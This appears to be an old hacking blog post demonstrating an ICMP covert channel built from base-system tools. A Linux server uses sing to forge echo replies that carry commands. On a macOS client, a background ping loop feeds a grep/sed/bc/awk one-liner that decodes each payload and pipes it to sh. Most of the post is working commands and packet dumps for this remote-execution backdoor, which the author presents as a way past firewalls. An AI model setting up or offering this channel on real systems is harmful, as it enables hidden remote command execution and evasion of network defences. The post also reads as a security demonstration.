since the 199? it’s well know the concept of cover channel, useful hidden communication protocol to make backdoor, VPN able to bypass firewalls or just generate strange network traffic.

since the 199?+? I want to make a cover channel with the tool present in the base operating system, to dimonstrate that the presence of a weird ‘hacking tool’ is not required to run a cover channel.

below an example with client vmac (7.7.7.1) and server vdeb (7.7.7.2), the focus is to make an icmp cover channel without install anything on the client, and be able to execute arbitrary command from the server to the client.

MacOSX client:

user:~ vmac$ ping -i 5 vdeb
PING vdeb (7.7.7.2): 56 data bytes
64 bytes from 7.7.7.2: icmp_seq=0 ttl=64 time=2.373 ms
64 bytes from 7.7.7.2: icmp_seq=1 ttl=64 time=3.631 ms
64 bytes from 7.7.7.2: icmp_seq=2 ttl=64 time=6.623 ms
64 bytes from 7.7.7.2: icmp_seq=3 ttl=64 time=1.446 ms
[...]

Linux server:

vdeb:~# tcpdump -ni eth2 -x -vv icmp
18:03:11.820274 IP (tos 0x0, ttl  64, id 10464, offset 0, flags [none], proto: ICMP (1), length: 84)
7.7.7.1 > 7.7.7.2: ICMP echo request, id 4391, seq 0, length 64
        0x0000:  4500 0054 28e0 0000 4001 35b9 0707 0701
        0x0010:  0707 0702 0800 0b3d 1127 0000 cd6c e547
        0x0020:  3ce4 0100 0809 0a0b 0c0d 0e0f 1011 1213
        0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
        0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
        0x0050:  3435
18:03:11.820369 IP (tos 0x0, ttl  64, id 35641, offset 0, flags [none], proto: ICMP (1), length: 84)
7.7.7.2 > 7.7.7.1: ICMP echo reply, id 4391, seq 0, length 64
        0x0000:  4500 0054 8b39 0000 4001 d35f 0707 0702
        0x0010:  0707 0701 0000 133d 1127 0000 cd6c e547
        0x0020:  3ce4 0100 0809 0a0b 0c0d 0e0f 1011 1213
        0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
        0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
        0x0050:  3435

5 seconds after (because the client ping is with -i[nterval] option)

18:03:16.820951 IP (tos 0x0, ttl  64, id 8911, offset 0, flags [none], proto: ICMP (1), length: 84)
7.7.7.1 > 7.7.7.2: ICMP echo request, id 4391, seq 1, length 64
        0x0000:  4500 0054 22cf 0000 4001 3bca 0707 0701
        0x0010:  0707 0702 0800 983b 1127 0001 d26c e547
        0x0020:  aae4 0100 0809 0a0b 0c0d 0e0f 1011 1213
        0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
        0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
        0x0050:  3435
18:03:16.821045 IP (tos 0x0, ttl  64, id 35642, offset 0, flags [none], proto: ICMP (1), length: 84)
7.7.7.2 > 7.7.7.1: ICMP echo reply, id 4391, seq 1, length 64
        0x0000:  4500 0054 8b3a 0000 4001 d35e 0707 0702
        0x0010:  0707 0701 0000 a03b 1127 0001 d26c e547
        0x0020:  aae4 0100 0809 0a0b 0c0d 0e0f 1011 1213
        0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
        0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
        0x0050:  3435

by looking ICMP header, id 4391 doesn’t change for each ping execution, sequence is incremental for each icmp sent. you should take a look the meaning of icmp id and icmp seq from rfc792 or ping (wikipedia).

in the server box, you need sing package:

vdeb:~# apt-cache show sing
Package: sing
Priority: optional
Section: net
Installed-Size: 112
Maintainer: Alberto Gonzalez Iniesta <agi_at_inittab.org>
Architecture: i386
Version: 1.1-16
Depends: debconf | debconf-2.0, libc6 (>= 2.7-1), libnet0, libpcap0.8 (>= 0.9.3-1)
Filename: pool/main/s/sing/sing_1.1-16_i386.deb
Size: 47154
MD5sum: e947a18ac64743b64680ecb9d6d72824
SHA1: 17ec68b34f518b190bc69fb8bd49ab3d3ea1d904
SHA256: 2bcbc5dfdccf3d9b8f5512aac294d628a2421158c631d1d3025f1627fa4836e7
Description: A fully programmable ping replacement
Sing is a little tool that sends ICMP packets fully customized from command
line. The main purpose is to replace/complement the nice ping command

with the sing installed, you understand that the network byte order is not implemented badly. so we need to:

1) generate an icmp using the icmp id recorder from tcpdump …

vdeb:~# sing -c 1 -id 4391 -p -reply vmac
SINGing to vmac (7.7.7.1): 22 data bytes
22 bytes from 7.7.7.1: seq=0 ttl=64 TOS=0 time=1.780 ms

2) in order to generate a tcpdump entry with a different (!) icmp id:

19:04:59.621324 IP (tos 0x0, ttl 255, id 13170, offset 0, flags [none], proto: ICMP (1), length: 42)
7.7.7.2 > 7.7.7.1: ICMP echo request, id 10001, seq 0, length 22
        0x0000:  4500 002a 3372 0000 ff01 6c50 0707 0702
        0x0010:  0707 0701 0800 4131 2711 0000 ab9e e547
        0x0020:  f67a 0900 2d72 6570 6c79

and 3) take the icmp id (10001) and use it to inject our icmp echo reply from the server to the client:

vdeb:~# sing -c 1 -id 10001 -p 'AAAAAAAAAAAAAAAA' -reply vmac

the tcpdump register:

19:07:31.226882 IP (tos 0x0, ttl 255, id 13170, offset 0, flags [none], proto: ICMP (1), length: 52)
7.7.7.2 > 7.7.7.1: ICMP echo reply, id 4391, seq 0, length 32
        0x0000:  4500 002c 3372 0000 ff01 6c4e 0707 0702
        0x0010:  0707 0701 0000 292b 1127 0000 439f e547
        0x0020:  2e76 0300 4141 4141 4141 4141 4141 4141
        0x0030:  4141 4141

the icmp id is 4391, the client’s sent ping receives an icmp echo reply with expected icmp id accepts it. but the payload is different (the client’s ping expect the same payload in answer) and it’s dumped as error:

32 bytes from 7.7.7.2: icmp_seq=0 ttl=255 time=-21599912.644 ms (DUP!)
wrong total length 52 instead of 84
wrong data byte #8 should be 0x8 but was 0x41
cp:61 6f e6 47 81 39  c  0
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27
        28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37
dp:f3 1a e6 47 5a bf  a  0
        8  9  a  b  c  d  e  f 10 11 12 13 14 15 16 17
        18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27
        28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37

take a look the first dump, 41 41 41…

this mean: the default ping(1) implementation could dump an arbitrary payload received from the remote peer. we can forge an icmp packet with the good icmp id (for be accepted from the client pinger) put in the payload our command, and with basic unix command extract the command.

user:~ vmac$ cat output
cp:e5 71 e5 47 fc 5e  7  0
        6c 73 20 2d 6c 74 72 3b 10 11 12 13 14 15 16 17
        18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27
        28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37
dp:73 46 e5 47 ee 9f  e  0
        8  9  a  b  c  d  e  f 10 11 12 13 14 15 16 17
        18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27
        28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37

user:~ vmac$ cat output | grep -v ":"  | grep " 3b " | cut -b 2- | tr -s '[:lower:]' '[:upper:]' |
sed -es/ 3B.*// -e's/ /," ",/g' -e's/^/ibase=16;print /g' | bc |
awk '{printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", $1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15);}' | sh
total 104
drwxr-xr-x+  5 user user   170 14 Lug  2007 Sites
drwxr-xr-x+  4 user user 136 14 Lug  2007 Public
drwxr-xr-x  13 user user   442 21 Ago  2007 My Maps
drwx------+  4 user user 136  2 Set  2007 Music
[...]

for better understanding:

user:~ vmac$ cat output | grep -v ":"  | grep " 3b " | cut -b 2- |
tr -s '[:lower:]' '[:upper:]' | sed -es/ 3B.*// -e's/ /," ",/g' -e's/^/ibase=16;print /g' | bc
108 115 32 45 108 116 114
user:~ vmac$

but:

user:~ vmac$ cat output | grep -v ":"  | grep " 3b " | cut -b 2- | tr -s 'sed -es/ 3B.*// -e's/ /," ",/g'
6C," ",73," ",20," ",2D," ",6C," ",74," ",72

and:

user:~ vmac$ cat output | grep -v ":"  | grep " 3b " | cut -b 2-
6c 73 20 2d 6c 74 72 3b 10 11 12 13 14 15 16 17
user:~ vmac$

did you understand ? our command contains “;” at the end of command. “;” is 3b. we cut the 3b and the byte of payload after. the hexbyte are printed in bc(1) format to convert from hex to dec, and with awk convert decimal in ascii char, and executed by shell after.

in this video, seen by 20 millions of people, the “liopleurodon” explains the command line to convert ping hexdeciamal dump in the shell command.

In short:

client (MacOSX, with leopard unstablest system ever):

user:~ vmac$ while true; do ping -i 15 vdeb > /tmp/output ; done) &
user:~ vmac$ while sleep 15; do cmd=`cat /tmp/output | grep -v ":"  | grep " 3b " | cut -b 2- | tr -s '[:lower:]' '[:upper:]' |
sed -es/ 3B.*// -e's/ /," ",/g' -e's/^/ibase=16;print /g' | bc |
awk '{printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14, $15);}'`;
if [ "$cmd" ]; then sh -c "$cmd" && killall ping; fi ; done

server (Linux, root privileges, with tcpdump and sing):

11:25:44.674271 IP (tos 0x0, ttl  64, id 5767, offset 0, flags [none], proto: ICMP (1), length: 84)
7.7.7.2 > 7.7.7.1: ICMP echo reply, id 9257, seq 5, length 64

take the icmp id recorded from the incoming ping:

vdeb:~# sing -c 1 -id 9257 -reply vmac
SINGing to vmac (7.7.7.1): 16 data bytes

take the icmp id recorded from tcpdump from the forged packet:

11:27:39.154908 IP (tos 0x0, ttl 255, id 13170, offset 0, flags [none], proto: ICMP (1), length: 36)
7.7.7.2 > 7.7.7.1: ICMP echo reply, id 10532, seq 0, length 16

take the last icmp sent, copy the icmp id (10532) and use them to match the expected icmp id from the client:

vdeb:~# sing -c 1 -id 10532 -p 'ps ax | grep F;' -reply vmac
SINGing to vmac (7.7.7.1): 31 data bytes

the command NEEDS to finish with ‘;’, because is the ” 3b ” char matched in the long command line. but you could change as you wish. and the command line should not exceed with 15 bytes, but you could improver this lazy thing.

what happens in the client ?

user:~ vmac$ while sleep 15; do cmd=`cat /tmp/output | grep -v ":"  | grep " 3b " | cut -b 2- |
tr -s '[:lower:]' '[:upper:]' | sed -es/ 3B.*// -e's/ /," ",/g' -e's/^/ibase=16;print /g' | bc |
awk '{printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15);}'`;
if [ "$cmd" ]; then sh -c "$cmd" && killall ping; fi ; done
[...]
30   ??  Ss     0:00.51 /sbin/dynamic_pager -F /private/var/vm/swapfile
40   ??  Ss     1:06.60 /usr/libexec/ApplicationFirewall/socketfilterfw
10748 s001  S+     0:00.00 sh -c ps ax | grep F
10750 s001  R+     0:00.00 grep F
-bash: line 189: 10532 Terminated              ping -i 15 vdeb > /tmp/output

the command line, after executing the commands, kills the active ping. The while loop restarts the ping and overwrites the /tmp/outpu logfile. the new ping has a new icmp id. you need to do again the reading procedur with tcpdump, send the id with sing, get the correct id and send of the next command. The two sing commands are needed because sing doesn’t convert the id with the right network byte order, so you need to use the value already converted (that gives us tcpdump).

bombjpg

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]